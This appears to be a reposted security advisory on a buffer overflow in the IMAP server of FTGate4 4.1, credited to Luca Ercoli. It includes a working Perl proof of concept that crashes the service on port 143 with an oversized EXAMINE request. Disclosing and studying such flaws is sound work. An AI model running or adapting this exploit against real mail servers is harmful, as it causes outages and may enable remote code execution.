|
|
|
|
| |
FTGate4 is a powerful Windows(TM) communication suite that combines exceptional mail handling facilities with comprehensive Groupware functionality.
FTGate4 contains a security flaw in the IMAP server caused due to boundary errors in the handling of various commands (like EXAMINE). |
| |
Credit:
The information has been provided by Luca Ercoli.
The original articles can be found at:
http://www.lucaercoli.it/advs/FTGate4.txt
http://www.lucaercoli.it/exploits/FTGate-expl.pl
|
| |
Vulnerable Systems:
* FTGate4 Groupware Mail server version 4.1
An attacker could exploit the vulnerability by sending a malformed request to the IMAP server running on port 143, resulting in a Denial of Service condition and potentially arbitrary code execution with the privileges of the SYSTEM user.
Proof of concept:
#!/usr/bin/perl
use IO::Socket;
print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
print "http://www.lucaercoli.it\n\n\n";
$host = "localhost";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "143",
);
unless ($remote) { die "Can't connect to $host" }
print "[!] Connected\n";
print "[?] Exploiting...\n";
sleep(1);
my $imapd = join ("", "1 login user pass", "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("","C"x(11305), "\r\n");
print $remote $imapd;
print "\n[!] Done\n\n\n";
close $remote;
|
|
|
|
|
